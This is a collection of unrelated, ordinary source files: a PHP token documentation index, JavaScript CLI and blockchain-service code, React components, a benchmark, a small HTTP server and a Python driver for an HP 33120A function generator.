"classPHP__Token__CLOSE__BRACKET.html#a1ea1335cc828e933eb6d49c816a3b9cf":[60,0,37,6],
"classPHP__Token__CLOSE__BRACKET.html#a2a16dabb2bbd437c2ba1f83d05af3a8a":[60,0,37,1],
"classPHP__Token__CLOSE__BRACKET.html#a3aa3f1bbba559575f53b7b29a50ffa09":[60,0,37,4],
"classPHP__Token__CLOSE__BRACKET.html#a52fcabfee4075dbc86fc6c97e6f60392":[60,0,37,5],
"classPHP__Token__CLOSE__BRACKET.html#a65b3ac33c6861378ee7aa071ba6539eb":[60,0,37,2],
"classPHP__Token__CLOSE__BRACKET.html#a7ae1d600ed52531dc679f700a7af5d24":[60,0,37,3],
"classPHP__Token__CLOSE__BRACKET.html#acaceb755d410d45b3b701ff0d13c6b76":[60,0,37,0],
"classPHP__Token__CLOSE__CURLY.html":[60,0,38],
"classPHP__Token__CLOSE__CURLY.html#a1ea1335cc828e933eb6d49c816a3b9cf":[60,0,38,6],
"classPHP__Token__CLOSE__CURLY.html#a2a16dabb2bbd437c2ba1f83d05af3a8a":[60,0,38,1],
"classPHP__Token__CLOSE__CURLY.html#a3aa3f1bbba559575f53b7b29a50ffa09":[60,0,38,4],
"classPHP__Token__CLOSE__CURLY.html#a52fcabfee4075dbc86fc6c97e6f60392":[60,0,38,5],
"classPHP__Token__CLOSE__CURLY.html#a65b3ac33c6861378ee7aa071ba6539eb":[60,0,38,2],
"classPHP__Token__CLOSE__CURLY.html#a7ae1d600ed52531dc679f700a7af5d24":[60,0,38,3],
"classPHP__Token__CLOSE__CURLY.html#acaceb755d410d45b3b701ff0d13c6b76":[60,0,38,0],
"classPHP__Token__CLOSE__SQUARE.html":[60,0,39],
"classPHP__Token__CLOSE__SQUARE.html#a1ea1335cc828e933eb6d49c816a3b9cf":[60,0,39,6],
"classPHP__Token__CLOSE__SQUARE.html#a2a16dabb2bbd437c2ba1f83d05af3a8a":[60,0,39,1],
"classPHP__Token__CLOSE__SQUARE.html#a3aa3f1bbba559575f53b7b29a50ffa09":[60,0,39,4],
"classPHP__Token__CLOSE__SQUARE.html#a52fcabfee4075dbc86fc6c97e6f60392":[60,0,39,5],
"classPHP__Token__CLOSE__SQUARE.html#a65b3ac33c6861378ee7aa071ba6539eb":[60,0,39,2],
"classPHP__Token__CLOSE__SQUARE.html#a7ae1d600ed52531dc679f700a7af5d24":[60,0,39,3],
"classPHP__Token__CLOSE__SQUARE.html#acaceb755d410d45b3b701ff0d13c6b76":[60,0,39,0],
"classPHP__Token__CLOSE__TAG.html":[60,0,40],
"classPHP__Token__CLOSE__TAG.html#a1ea1335cc828e933eb6d49c816a3b9cf":[60,0,40,6],
"classPHP__Token__CLOSE__TAG.html#a2a16dabb2bbd437c2ba1f83d05af3a8a":[60,0,40,1],
"classPHP__Token__CLOSE__TAG.html#a3aa3f1bbba559575f53b7b29a50ffa09":[60,0,40,4],
"classPHP__Token__CLOSE__TAG.html#a52fcabfee4075dbc86fc6c97e6f60392":[60,0,40,5],
"classPHP__Token__CLOSE__TAG.html#a65b3ac33c6861378ee7aa071ba6539eb":[60,0,40,2],
"classPHP__Token__CLOSE__TAG.html#a7ae1d600ed52531dc679f700a7af5d24":[60,0,40,3],
"classPHP__Token__CLOSE__TAG.html#acaceb755d410d45b3b701ff0d13c6b76":[60,0,40,0],
"classPHP__Token__COALESCE.html":[60,0,41],
"classPHP__Token__COALESCE.html#a1ea1335cc828e933eb6d49c816a3b9cf":[60,0,41,6],
"classPHP__Token__COALESCE.html#a2a16dabb2bbd437c2ba1f83d05af3a8a":[60,0,41,1],
"classPHP__Token__COALESCE.html#a3aa3f1bbba559575f53b7b29a50ffa09":[60,0,41,4],
"classPHP__Token__COALESCE.html#a52fcabfee4075dbc86fc6c97e6f60392":[60,0,41,5],
"classPHP__Token__COALESCE.html#a65b3ac33c6861378ee7aa071ba6539eb":[60,0,41,2],
"classPHP__Token__COALESCE.html#a7ae1d600ed52531dc679f700a7af5d24":[60,0,41,3],
"classPHP__Token__COALESCE.html#acaceb755d410d45b3b701ff0d13c6b76":[60,0,41,0],
"classPHP__Token__COALESCE__EQUAL.html":[60,0,42],
"classPHP__Token__COALESCE__EQUAL.html#a1ea1335cc828e933eb6d49c816a3b9cf":[60,0,42,6],
"classPHP__Token__COALESCE__EQUAL.html#a2a16dabb2bbd437c2ba1f83d05af3a8a":[60,0,42,1],
"classPHP__Token__COALESCE__EQUAL.html#a3aa3f1bbba559575f53b7b29a50ffa09":[60,0,42,4],
"classPHP__Token__COALESCE__EQUAL.html#a52fcabfee4075dbc86fc6c97e6f60392":[60,0,42,5],
"classPHP__Token__COALESCE__EQUAL.html#a65b3ac33c6861378ee7aa071ba6539eb":[60,0,42,2],
"classPHP__Token__COALESCE__EQUAL.html#a7ae1d600ed52531dc679f700a7af5d24":[60,0,42,3],
"classPHP__Token__COALESCE__EQUAL.html#acaceb755d410d45b3b701ff0d13c6b76":[60,0,42,0],
"classPHP__Token__COLON.html":[60,0,43],
"classPHP__Token__COLON.html#a1ea1335cc828e933eb6d49c816a3b9cf":[60,0,43,6],
"classPHP__Token__COLON.html#a2a16dabb2bbd437c2ba1f83d05af3a8a":[60,0,43,1],
"classPHP__Token__COLON.html#a3aa3f1bbba559575f53b7b29a50ffa09":[60,0,43,4],
"classPHP__Token__COLON.html#a52fcabfee4075dbc86fc6c97e6f60392":[60,0,43,5],
"classPHP__Token__COLON.html#a65b3ac33c6861378ee7aa071ba6539eb":[60,0,43,2],
"classPHP__Token__COLON.html#a7ae1d600ed52531dc679f700a7af5d24":[60,0,43,3],
"classPHP__Token__COLON.html#acaceb755d410d45b3b701ff0d13c6b76":[60,0,43,0],
"classPHP__Token__COMMA.html":[60,0,44],
"classPHP__Token__COMMA.html#a1ea1335cc828e933eb6d49c816a3b9cf":[60,0,44,6],
"classPHP__Token__COMMA.html#a2a16dabb2bbd437c2ba1f83d05af3a8a":[60,0,44,1],
"classPHP__Token__COMMA.html#a3aa3f1bbba559575f53b7b29a50ffa09":[60,0,44,4],
"classPHP__Token__COMMA.html#a52fcabfee4075dbc86fc6c97e6f60392":[60,0,44,5],
"classPHP__Token__COMMA.html#a65b3ac33c6861378ee7aa071ba6539eb":[60,0,44,2],
"classPHP__Token__COMMA.html#a7ae1d600ed52531dc679f700a7af5d24":[60,0,44,3],
"classPHP__Token__COMMA.html#acaceb755d410d45b3b701ff0d13c6b76":[60,0,44,0],
"classPHP__Token__COMMENT.html":[60,0,45],
"classPHP__Token__COMMENT.html#a1ea1335cc828e933eb6d49c816a3b9cf":[60,0,45,6],
"classPHP__Token__COMMENT.html#a2a16dabb2bbd437c2ba1f83d05af3a8a":[60,0,45,1],
"classPHP__Token__COMMENT.html#a3aa3f1bbba559575f53b7b29a50ffa09":[60,0,45,4],
"classPHP__Token__COMMENT.html#a52fcabfee4075dbc86fc6c97e6f60392":[60,0,45,5],
"classPHP__Token__COMMENT.html#a65b3ac33c6861378ee7aa071ba6539eb":[60,0,45,2],
"classPHP__Token__COMMENT.html#a7ae1d600ed52531dc679f700a7af5d24":[60,0,45,3],
"classPHP__Token__COMMENT.html#acaceb755d410d45b3b701ff0d13c6b76":[60,0,45,0],
"classPHP__Token__CONCAT__EQUAL.html":[60,0,46],
"classPHP__Token__CONCAT__EQUAL.html#a1ea1335cc828e933eb6d49c816a3b9cf":[60,0,46,6],
"classPHP__Token__CONCAT__EQUAL.html#a2a16dabb2bbd437c2ba1f83d05af3a8a":[60,0,46,1],
"classPHP__Token__CONCAT__EQUAL.html#a3aa3f1bbba559575f53b7b29a50ffa09":[60,0,46,4],
"classPHP__Token__CONCAT__EQUAL.html#a52fcabfee4075dbc86fc6c97e6f60392":[60,0,46,5],
"classPHP__Token__CONCAT__EQUAL.html#a65b3ac33c6861378ee7aa071ba6539eb":[60,0,46,2],
"classPHP__Token__CONCAT__EQUAL.html#a7ae1d600ed52531dc679f700a7af5d24":[60,0,46,3],
"classPHP__Token__CONCAT__EQUAL.html#acaceb755d410d45b3b701ff0d13c6b76":[60,0,46,0],
"classPHP__Token__CONST.html":[60,0,47],
"classPHP__Token__CONST.html#a1ea1335cc828e933eb6d49c816a3b9cf":[60,0,47,6],
"classPHP__Token__CONST.html#a2a16dabb2bbd437c2ba1f83d05af3a8a":[60,0,47,1],
"classPHP__Token__CONST.html#a3aa3f1bbba559575f53b7b29a50ffa09":[60,0,47,4],
"classPHP__Token__CONST.html#a52fcabfee4075dbc86fc6c97e6f60392":[60,0,47,5],
"classPHP__Token__CONST.html#a65b3ac33c6861378ee7aa071ba6539eb":[60,0,47,2],
"classPHP__Token__CONST.html#a7ae1d600ed52531dc679f700a7af5d24":[60,0,47,3],
"classPHP__Token__CONST.html#acaceb755d410d45b3b701ff0d13c6b76":[60,0,47,0],
"classPHP__Token__CONSTANT__ENCAPSED__STRING.html":[60,0,48],
"classPHP__Token__CONSTANT__ENCAPSED__STRING.html#a1ea1335cc828e933eb6d49c816a3b9cf":[60,0,48,6],
"classPHP__Token__CONSTANT__ENCAPSED__STRING.html#a2a16dabb2bbd437c2ba1f83d05af3a8a":[60,0,48,1],
"classPHP__Token__CONSTANT__ENCAPSED__STRING.html#a3aa3f1bbba559575f53b7b29a50ffa09":[60,0,48,4],
"classPHP__Token__CONSTANT__ENCAPSED__STRING.html#a52fcabfee4075dbc86fc6c97e6f60392":[60,0,48,5],
"classPHP__Token__CONSTANT__ENCAPSED__STRING.html#a65b3ac33c6861378ee7aa071ba6539eb":[60,0,48,2],
"classPHP__Token__CONSTANT__ENCAPSED__STRING.html#a7ae1d600ed52531dc679f700a7af5d24":[60,0,48,3],
"classPHP__Token__CONSTANT__ENCAPSED__STRING.html#acaceb755d410d45b3b701ff0d13c6b76":[60,0,48,0],
"classPHP__Token__CONTINUE.html":[60,0,49],
"classPHP__Token__CONTINUE.html#a1ea1335cc828e933eb6d49c816a3b9cf":[60,0,49,6],
"classPHP__Token__CONTINUE.html#a2a16dabb2bbd437c2ba1f83d05af3a8a":[60,0,49,1],
"classPHP__Token__CONTINUE.html#a3aa3f1bbba559575f53b7b29a50ffa09":[60,0,49,4],
"classPHP__Token__CONTINUE.html#a52fcabfee4075dbc86fc6c97e6f60392":[60,0,49,5],
"classPHP__Token__CONTINUE.html#a65b3ac33c6861378ee7aa071ba6539eb":[60,0,49,2],
"classPHP__Token__CONTINUE.html#a7ae1d600ed52531dc679f700a7af5d24":[60,0,49,3],
"classPHP__Token__CONTINUE.html#acaceb755d410d45b3b701ff0d13c6b76":[60,0,49,0],
"classPHP__Token__CURLY__OPEN.html":[60,0,50],
"classPHP__Token__CURLY__OPEN.html#a1ea1335cc828e933eb6d49c816a3b9cf":[60,0,50,6],
"classPHP__Token__CURLY__OPEN.html#a2a16dabb2bbd437c2ba1f83d05af3a8a":[60,0,50,1],
"classPHP__Token__CURLY__OPEN.html#a3aa3f1bbba559575f53b7b29a50ffa09":[60,0,50,4],
"classPHP__Token__CURLY__OPEN.html#a52fcabfee4075dbc86fc6c97e6f60392":[60,0,50,5],
"classPHP__Token__CURLY__OPEN.html#a65b3ac33c6861378ee7aa071ba6539eb":[60,0,50,2],
"classPHP__Token__CURLY__OPEN.html#a7ae1d600ed52531dc679f700a7af5d24":[60,0,50,3],
"classPHP__Token__CURLY__OPEN.html#acaceb755d410d45b3b701ff0d13c6b76":[60,0,50,0],
"classPHP__Token__DEC.html":[60,0,51],
"classPHP__Token__DEC.html#a1ea1335cc828e933eb6d49c816a3b9cf":[60,0,51,6],
"classPHP__Token__DEC.html#a2a16dabb2bbd437c2ba1f83d05af3a8a":[60,0,51,1],
"classPHP__Token__DEC.html#a3aa3f1bbba559575f53b7b29a50ffa09":[60,0,51,4],
"classPHP__Token__DEC.html#a52fcabfee4075dbc86fc6c97e6f60392":[60,0,51,5],
"classPHP__Token__DEC.html#a65b3ac33c6861378ee7aa071ba6539eb":[60,0,51,2],
"classPHP__Token__DEC.html#a7ae1d600ed52531dc679f700a7af5d24":[60,0,51,3],
"classPHP__Token__DEC.html#acaceb755d410d45b3b701ff0d13c6b76":[60,0,51,0],
"classPHP__Token__DECLARE.html":[60,0,52],
"classPHP__Token__DECLARE.html#a1ea1335cc828e933eb6d49c816a3b9cf":[60,0,52,6],
"classPHP__Token__DECLARE.html#a2a16dabb2bbd437c2ba1f83d05af3a8a":[60,0,52,1],
"classPHP__Token__DECLARE.html#a3aa3f1bbba559575f53b7b29a50ffa09":[60,0,52,4],
"classPHP__Token__DECLARE.html#a52fcabfee4075dbc86fc6c97e6f60392":[60,0,52,5],
"classPHP__Token__DECLARE.html#a65b3ac33c6861378ee7aa071ba6539eb":[60,0,52,2],
"classPHP__Token__DECLARE.html#a7ae1d600ed52531dc679f700a7af5d24":[60,0,52,3],
"classPHP__Token__DECLARE.html#acaceb755d410d45b3b701ff0d13c6b76":[60,0,52,0],
"classPHP__Token__DEFAULT.html":[60,0,53],
"classPHP__Token__DEFAULT.html#a1ea1335cc828e933eb6d49c816a3b9cf":[60,0,53,6],
"classPHP__Token__DEFAULT.html#a2a16dabb2bbd437c2ba1f83d05af3a8a":[60,0,53,1],
"classPHP__Token__DEFAULT.html#a3aa3f1bbba559575f53b7b29a50ffa09":[60,0,53,4],
"classPHP__Token__DEFAULT.html#a52fcabfee4075dbc86fc6c97e6f60392":[60,0,53,5],
"classPHP__Token__DEFAULT.html#a65b3ac33c6861378ee7aa071ba6539eb":[60,0,53,2]
};
|
const { deployMultisigMint } = require('./cli/deployMultisigMint');
const { mintMultisig } = require('./cli/mintMultisig');
const { apply } = require('./cli/apply');
const { proposeOperations } = require('./cli/proposeOperations');
const { proposeOperationsChannel } = require('./cli/proposeOperationsChannel');
const { read } = require('./cli/read');
const { readLastExecutedOperations } = require('./cli/readLastExecutedOperations');
const { readOperations } = require('./cli/readOperations');
const { log } = require('./cli/utils');
require('dotenv').config();
const errorInEnv = () => {
log(`The .env file is invalid, please make sure that it has the following values:
READ_ONLY_HOST=
VALIDATOR_HOST=
PRIVATE_KEY=
`);
};
const main = async () => {
if (
typeof process.env.READ_ONLY_HOST !== 'string' ||
typeof process.env.VALIDATOR_HOST !== 'string' ||
typeof process.env.PRIVATE_KEY !== 'string'
) {
errorInEnv();
return;
}
const viewArg = process.argv.findIndex((arg) => arg === 'view') !== -1;
if (viewArg) {
view();
return;
}
const mintMultisigArg =
process.argv.findIndex((arg) => arg === 'mint-multisig') !== -1;
if (mintMultisigArg) {
mintMultisig();
return;
}
const deployMultisigMintArg =
process.argv.findIndex((arg) => arg === 'deploy-multisig-mint') !== -1;
if (deployMultisigMintArg) {
deployMultisigMint();
return;
}
const applyArg =
process.argv.findIndex((arg) => arg === 'apply') !== -1;
if (applyArg) {
apply();
return;
}
const proposeOperationsChannelArg =
process.argv.findIndex((arg) => arg === 'propose-operations-channel') !== -1;
if (proposeOperationsChannelArg) {
proposeOperationsChannel();
return;
}
const proposeOperationsArg =
process.argv.findIndex((arg) => arg === 'propose-operations') !== -1;
if (proposeOperationsArg) {
proposeOperations();
return;
}
const readArg =
process.argv.findIndex((arg) => arg === 'read') !== -1;
if (readArg) {
read();
return;
}
const readLastExecutedOperationsArg =
process.argv.findIndex((arg) => arg === 'last-operations') !== -1;
if (readLastExecutedOperationsArg) {
readLastExecutedOperations();
return;
}
const readOperationsArg =
process.argv.findIndex((arg) => arg === 'operations') !== -1;
if (readOperationsArg) {
readOperations();
return;
}
throw new Error('unknown command');
};
main();
|
/*
| Manages the server config.
|
| To be configured via config.js
*/
'use strict';
tim.define( module, ( def ) => {
if( TIM )
{
def.attributes =
{
// https settings
enabled : { type : 'boolean', defaultValue : 'false' },
// cert
cert : { type : [ 'null', 'string' ], defaultValue : 'null' },
// key
key : { type : [ 'null', 'string' ], defaultValue : 'null' },
};
}
} );
|
const init = require('../common/init.js');
var shell = require('shelljs')
var date = require('date-and-time');
var curr_date = date.format(new Date(), 'YYYY/MM/DD HH:mm:ss')
const logz = init.getLogz();
const log4js = init.getLog();
const logger = log4js.getLogger('backend-logs');
const uilogger = log4js.getLogger('frontend-logs');
function hex_to_ascii(str) {
var hex = str.toString();
var str = '';
for (var n = 0; n < hex.length; n += 2) {
str += String.fromCharCode(parseInt(hex.substr(n, 2), 16));
}
return str;
}
//To publish data to Multichain
exports.writeData = async function (req, res) {
const data = Buffer.from(JSON.stringify(req.body.data), 'utf8').toString('hex');
logz.log('info', '<<<<< BlockchainService < Publish < writeData : instantiating multichain');
const multichain = init.getMultichain();
var key = req.body.key
var address = req.body.address
var dataStream = req.body.stream
logz.log('info', '<<<<< BlockchainService < Publish < writeData : Publishing data to stream ');
uilogger.info("Publishing data to stream",dataStream,"key",key,"address",address,"data",data);
multichain.publishFrom({from:address, stream:dataStream, key:key , data:data }, (err, tx) => {
logz.log('info', '<<<<< BlockchainService < Publish < writeData : Published data to stream with txnId');
res.json({transactionId: tx});
})
}
//To publish data from excel in parallel
exports.writeExcelData = async function (req, res) {
const data = Buffer.from(JSON.stringify(req.body.data), 'utf8').toString('hex');
var serialNumber = req.body.data.serialNumber
var manufacturingDate = req.body.data.manufacturingDate
var expiryDate = req.body.data.expiryDate
var productName = req.body.data.productName
var quantity = req.body.data.quantity
var batchNumber = req.body.data.batchNumber
var manufacturerName = req.body.data.manufacturerName
logz.log('info', '<<<<< BlockchainService < Publish < writeExcelData : instantiating multichain');
const multichain = init.getMultichain();
var key = req.body.key
var address = req.body.address
var dataStream = req.body.stream
logz.log('info', '<<<<< BlockchainService < Publish < writeData : Publishing data to stream ');
uilogger.info("Publishing data to stream",dataStream,"key",key,"address",address,"data",data);
multichain.publishFrom({from:address, stream:dataStream, key:key , data:data }, (err, tx) => {
logz.log('info', '<<<<< BlockchainService < Publish < writeData : Published data to stream with txnId');
res.json({serialNumber:serialNumber, manufacturingDate:manufacturingDate, expiryDate:expiryDate, owner:address, transactionIds: [tx],productName:productName,quantity:quantity,batchNumber:batchNumber,manufacturerName:manufacturerName});
})
}
exports.recordLog = function (req, res) {
let message = req.body;
logz.log('info', '<<<<< BlockchainService < Publish < recordLog : recording logs for front end events');
uilogger.info("Recording logs for front end events",message,curr_date);
res.send("success")
}
|
const {resolve} = require('path')
const {isObject, isString} = require('core-util-is')
const {error} = require('./error')
const createConfigLoader = require('./config/create')
const Caviar = require('./caviar')
const Sandbox = require('./sandbox')
const {IS_CHILD_PROCESS} = require('./constants')
module.exports = rawOptions => {
if (!isObject(rawOptions)) {
throw error('INVALID_OPTIONS', rawOptions)
}
let {
cwd,
dev
} = rawOptions
if (!isString(cwd)) {
throw error('INVALID_CWD', cwd)
}
const {
preset,
sandbox,
configFile,
env,
stdio,
[IS_CHILD_PROCESS]: isChildProcess
} = rawOptions
if (!configFile && !preset) {
throw error('OPTION_MISSING')
}
if (configFile && !isString(configFile)) {
throw error('INVALID_CONFIG_FILE', configFile)
}
if (preset && !isString(preset)) {
throw error('INVALID_PRESET', preset)
}
cwd = resolve(cwd)
dev = !!dev
const configLoader = createConfigLoader({cwd, preset, configFile})
return sandbox
? new Sandbox({
cwd,
dev,
configLoader,
env,
stdio,
preset,
configFile
})
: new Caviar({
cwd,
dev,
configLoader,
[IS_CHILD_PROCESS]: isChildProcess
})
}
|
import React, { Component } from 'react'
import { Text, View } from 'react-native';
export default class BuyCar extends Component {
static navigationOptions = {
title: '买好车'
}
render() {
return (
<View>
<Text>
买好车
</Text>
</View>
)
}
}
|
const fs = require('fs');
const path = require('path');
const Benchmark = require('benchmark');
const { smartIndexOf } = require('../../lib/sql-buffer');
const suite = new Benchmark.Suite();
const fileContent = fs.readFileSync(path.resolve(__dirname, '../fixtures', 'fixture.sql'));
const fileContentString = fileContent.toString();
const searchFor = Buffer.from('USE ');
const searchForString = searchFor.toString();
// add tests
console.log({
'Native indexOf': fileContent.indexOf(searchFor),
customIndexOfA: smartIndexOf(fileContent, searchFor),
});
suite
.add('Native indexOf', () => {
fileContent.indexOf(searchFor);
})
.add('Custom indexOf', () => {
smartIndexOf(fileContent, searchFor);
})
.add('Converted String indexOf', () => {
const str = fileContent.toString();
str.indexOf(searchFor.toString());
})
.add('Native String indexOf', () => {
fileContentString.indexOf(searchForString);
})
// add listeners
.on('cycle', (event) => {
console.log(String(event.target));
})
.on('complete', function completionMessage() {
console.log(`Fastest is ${this.filter('fastest').map('name')}`);
})
// run async
.run({ async: false });
|
var http = require('http');
http.createServer(function (req, res) {
res.writeHead(200, {'Content-Type': 'text/plain'});
res.end('Dev Tools with nodejs.\n');
}).listen(80, '0.0.0.0');
console.log('Server running at http://127.0.0.1:80/');
|
import KUTE from '../objects/kute.js'
import units from '../interpolation/units.js'
// const borderRadius = { category : 'borderRadius', properties : [..], defaultValues: {..}, interpolation: {units} }
// Component Properties
const radiusProps = ['borderRadius', 'borderTopLeftRadius', 'borderTopRightRadius', 'borderBottomLeftRadius', 'borderBottomRightRadius']
// Component Functions
export function radiusOnStartFn(tweenProp){
if (tweenProp in this.valuesEnd && !KUTE[tweenProp]) {
KUTE[tweenProp] = (elem, a, b, v) => {
elem.style[tweenProp] = units(a.v,b.v,b.u,v);
}
}
}
const radiusOnStart = {}
radiusProps.forEach(tweenProp => {
radiusOnStart[tweenProp] = radiusOnStartFn
});
// Base Component
const baseBorderRadius = {
component: 'baseBorderRadius',
category: 'borderRadius',
Interpolate: {units},
functions: {onStart: radiusOnStart}
}
export default baseBorderRadius |
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
var _regenerator = require('babel-runtime/regenerator');
var _regenerator2 = _interopRequireDefault(_regenerator);
var _asyncToGenerator2 = require('babel-runtime/helpers/asyncToGenerator');
var _asyncToGenerator3 = _interopRequireDefault(_asyncToGenerator2);
var _hwAppFct = require('@factoid.org/hw-app-fct');
var _hwAppFct2 = _interopRequireDefault(_hwAppFct);
var _assert = require('assert');
var _assert2 = _interopRequireDefault(_assert);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
var address = require('factom/src/addresses');
exports.default = function () {
var _ref = (0, _asyncToGenerator3.default)( /*#__PURE__*/_regenerator2.default.mark(function _callee(transport) {
var fct, result;
return _regenerator2.default.wrap(function _callee$(_context) {
while (1) {
switch (_context.prev = _context.next) {
case 0:
fct = new _hwAppFct2.default(transport);
_context.next = 3;
return fct.getAddress("44'/131'/0'/0/0", false, true);
case 3:
result = _context.sent;
(0, _assert2.default)(address.isValidAddress(result['address']));
return _context.abrupt('return', result);
case 6:
case 'end':
return _context.stop();
}
}
}, _callee, undefined);
}));
return function (_x) {
return _ref.apply(this, arguments);
};
}();
//# sourceMappingURL=testFctAddrPath.js.map |
import*as MobileThrottlingModule from'./mobile_throttling.js';self.MobileThrottling=self.MobileThrottling||{};MobileThrottling=MobileThrottling||{};MobileThrottling.MobileThrottlingSelector=MobileThrottlingModule.MobileThrottlingSelector.MobileThrottlingSelector;MobileThrottling.NetworkPanelIndicator=MobileThrottlingModule.NetworkPanelIndicator.NetworkPanelIndicator;MobileThrottling.NetworkThrottlingSelector=MobileThrottlingModule.NetworkThrottlingSelector.NetworkThrottlingSelector;MobileThrottling.ThrottlingManager=MobileThrottlingModule.ThrottlingManager.ThrottlingManager;MobileThrottling.ThrottlingManager.Events=MobileThrottlingModule.ThrottlingManager.Events;MobileThrottling.ThrottlingManager.ActionDelegate=MobileThrottlingModule.ThrottlingManager.ActionDelegate;MobileThrottling.throttlingManager=MobileThrottlingModule.ThrottlingManager.throttlingManager;MobileThrottling.CPUThrottlingRates=MobileThrottlingModule.ThrottlingPresets.CPUThrottlingRates;MobileThrottling.NoThrottlingConditions=MobileThrottlingModule.ThrottlingPresets.NoThrottlingConditions;MobileThrottling.OfflineConditions=MobileThrottlingModule.ThrottlingPresets.OfflineConditions;MobileThrottling.LowEndMobileConditions=MobileThrottlingModule.ThrottlingPresets.LowEndMobileConditions;MobileThrottling.MidTierMobileConditions=MobileThrottlingModule.ThrottlingPresets.MidTierMobileConditions;MobileThrottling.CustomConditions=MobileThrottlingModule.ThrottlingPresets.CustomConditions;MobileThrottling.mobilePresets=MobileThrottlingModule.ThrottlingPresets.mobilePresets;MobileThrottling.advancedMobilePresets=MobileThrottlingModule.ThrottlingPresets.advancedMobilePresets;MobileThrottling.networkPresets=MobileThrottlingModule.ThrottlingPresets.networkPresets;MobileThrottling.cpuThrottlingPresets=MobileThrottlingModule.ThrottlingPresets.cpuThrottlingPresets;MobileThrottling.ThrottlingSettingsTab=MobileThrottlingModule.ThrottlingSettingsTab.ThrottlingSettingsTab;MobileThrottling.throughputText=MobileThrottlingModule.ThrottlingSettingsTab.throughputText; |
from ..IEEE488 import IEEE488
from ..SCPI import SCPI
class HP33120A(IEEE488, SCPI):
"""."""
# self.amps = [0.01, 5]
# self.freqs = [0, 15e6]
def state(self):
"""."""
print(f"Amplitude: {self.amplitude}")
print(f"Frequency: {self.frequency}")
print(f"Shape: {self.shape}")
print(f"Load: {self.load}")
# print("Output: {}".format(self.output))
@property
def frequency(self):
"""."""
return float(self.query("SOURce:FREQuency?"))
@frequency.setter
def frequency(self, frequency):
self.write(f"SOURce:FREQuency {frequency:.4f}")
@property
def shape(self):
"""."""
return self.query("SOURce:FUNCtion:SHAPe?")
@shape.setter
def shape(self, shape="SIN"):
# SIN|SQU|TRI|RAMP|NOIS|DC|USER
self.write(f"SOURce:FUNCtion:SHAPe {shape}")
@property
def load(self):
"""."""
return self.query("OUTPut:LOAD?")
@load.setter
def load(self, load="INF"):
# 50 | INF | MAX | MIB
self.write(f"OUTPut:LOAD {load}")
@property
def amplitude(self):
"""VPP|VRMS|DBM|DEF."""
self.query("SOURce:VOLTage:UNIT?")
return float(self.query("SOURce:VOLTage?"))
# return(self.query("SOURce:VOLTage:UNIT?"))
@amplitude.setter
# @AmplitudeLimiter
def amplitude(self, amplitude, unit="VRMS"):
self.write(f"SOURce:VOLTage:UNIT {unit}")
self.write(f"SOURce:VOLTage {amplitude:.6f}")
@property
def arb(self):
"""."""
timeout = self.inst.timeout
self.inst.timeout = 10000
self.inst.timeout = timeout
return NotImplemented
@arb.setter
def arb(self, waveform):
# if len(waveform) < 16000:
timeout = self.inst.timeout
self.inst.timeout = 10000
self.write_binary_values('DATA:DAC VOLATILE, ', waveform, datatype='h', is_big_endian=True) # -2047 and +2047
self.inst.timeout = timeout
'''
wavegen.write('DATA:COPY P2B, VOLATILE')
wavegen.query('DATA:CAT?')
wavegen.write('FREQ 2.5;VOLT 1.2')
wavegen.write('FUNC:USER VOLATILE')
wavegen.write('FUNC:SHAP USER')
'''
|
import React from "react"
import { ToastContainer, toast } from "react-toastify"
import "react-toastify/dist/ReactToastify.css"
import SectionTitle from "../Global/SectionTitle"
export default function Contact() {
const submitForm = ev => {
ev.preventDefault()
const form = ev.target
const data = new FormData(form)
const xhr = new XMLHttpRequest()
xhr.open(form.method, form.action)
xhr.setRequestHeader("Accept", "application/json")
xhr.onreadystatechange = () => {
if (xhr.readyState !== XMLHttpRequest.DONE) return
if (xhr.status === 200) {
form.reset()
notify_success(
"Email sent successfully. I'll be contacting you as soon as i can."
)
} else if (xhr.status === 403) {
notify_error("Form not active, Sorry.")
} else if (xhr.status === 400) {
notify_error("Can't send an empty form.")
} else if (xhr.status === 422) {
notify_error("Email should be valid.")
} else {
notify_error("Error while sending your request.")
}
}
xhr.send(data)
}
const notify_error = msg =>
toast.error(msg, {
position: "bottom-right",
autoClose: 5000,
hideProgressBar: false,
closeOnClick: true,
pauseOnHover: true,
draggable: true,
progress: undefined,
})
const notify_success = msg =>
toast.dark(msg, {
position: "bottom-right",
autoClose: 5000,
hideProgressBar: false,
closeOnClick: true,
pauseOnHover: true,
draggable: true,
progress: undefined,
})
return (
<div
id="contact-section"
className={` h-auto w-full px-10 sm:px-20 py-24 lg:py-32 xl:px-64 flex flex-col-reverse lg:flex-row`}
>
<form
onSubmit={submitForm}
action="https://formspree.io/f/xoqpnepq"
method="POST"
className="w-full lg:w-2/3 bg-secondary-background flex flex-col items-center lg:items-start justify-evenly px-12 py-12 lg:py-6 lg:mx-16"
>
<div className="md-input-main">
<div className="md-input-box">
<input
name="name"
id="name"
type="text"
className="md-input"
autoComplete="off"
placeholder=" "
/>
<label htmlFor="name" className="md-label">
Name
</label>
<div className="md-input-underline border-opacity-25" />
</div>
</div>
<div className="md-input-main">
<div className="md-input-box">
<input
name="email"
id="email"
type="text"
className="md-input"
placeholder=" "
autoComplete="off"
/>
<label htmlFor="email" className="md-label">
Email
</label>
<div className="md-input-underline border-opacity-25" />
</div>
</div>
<div className="md-input-main mt-8 sm:mt-12">
<div className="md-input-box">
<textarea
name="text"
id="text"
className="md-input h-20 "
placeholder=" "
autoComplete="off"
/>
<label htmlFor="text" className="md-label">
Your Message
</label>
<div className="md-input-underline" />
</div>
</div>
<button className="btn btn-primary mt-12 lg:w-40 lg:h-12 lg:py-2">
Lets Talk
</button>
</form>
<div
name="contact-text"
className="w-full lg:w-1/3 lg:mx-12 text-center lg:text-left py-8"
>
<p className="text-primary">Lets Talk</p>
<SectionTitle text="Contact Me" left={true} />
<p className="text-secondary-text py-2">
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam tempor
nulla in porta faucibus. Nam at convallis magna. Vivamus vitae odio
posuere, molestie lorem sit amet, ultricies quam. Nunc mollis mollis
sapien, at ornare velit pretium non. Nam vel elit odio.
</p>
</div>
<ToastContainer
position="bottom-right"
autoClose={5000}
hideProgressBar={false}
newestOnTop={false}
closeOnClick
rtl={false}
pauseOnFocusLoss
draggable
pauseOnHover
/>
</div>
)
}
|
/* ==========================================================================
Table Sortablle
Mixin for sorting table organism.
========================================================================== */
const config = require( 'cf-atomic-component/src/utilities/config' );
const closest = require(
'cf-atomic-component/src/utilities/dom-closest'
).closest;
